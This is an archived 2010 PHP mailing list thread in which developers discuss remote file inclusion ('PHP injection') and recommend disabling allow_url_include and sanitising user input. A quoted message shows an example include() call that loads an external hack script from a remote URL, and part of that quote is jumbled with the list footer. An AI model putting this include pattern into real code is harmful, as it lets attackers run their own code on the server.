Re: Security Issue
| From: | Michael Shadle | Date: | Tue, 08 Jun 2010 19:01:34 +0000 |
| Subject: | Re: Security Issue | ||
| References: | 1 2 3 4 5 6 7 8 9 10 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-305980@lists.php.net to get a copy of this message | ||
Yes and scrubbing the input to ensure the field used for this URL rejects certain characters or does sanity checking on it would also be another suggestion. Turning this off would fix remote include requests. But still need to check for people requesting local files. Should never take user input and put it directly into include or shell execs or anything.
On Jun 8, 2010, at 11:55 AM, "David Stoltz" <Dstoltz@SHH.ORG> wrote:
allow_url_include is (or should be) disabled by default. http://us2.php.net/manual/en/filesystem.configuration.php#ini.allow-url- include I can't think of one good reason to ever enable this, it would be a security issue no matter how you slice it... -----Original Message----- From: Igor Escobar [mailto:titiolinkin@gmail.com] Sent: Tuesday, June 08, 2010 10:11 AM To: richgray@gmail.com Cc: <php-general@lists.php.net> Subject: Re: [PHP] Security Issue Hey Richard, I'll find more about this parameter allow_url_include, thank you! Regards, Igor Escobar Systems Analyst & Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 5:26 PM, richard gray <rich@richgray.com> wrote:On 07/06/2010 20:00, Igor Escobar wrote:codePHP Injection is the technical name given to a security hole in PHP applications. When this gap there is a hacker can do with an externalathat is interpreted as an inner code as if the code included was more-- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.phppart of the script. // my code... // my code... include ('http://..../externalhackscript.txt'); //my code... //my code..can you not switch off remote file includes in php.ini? This will stop include/require from a remote host.. i.e. /allow_url_include = Off in php.ini HTH Rich /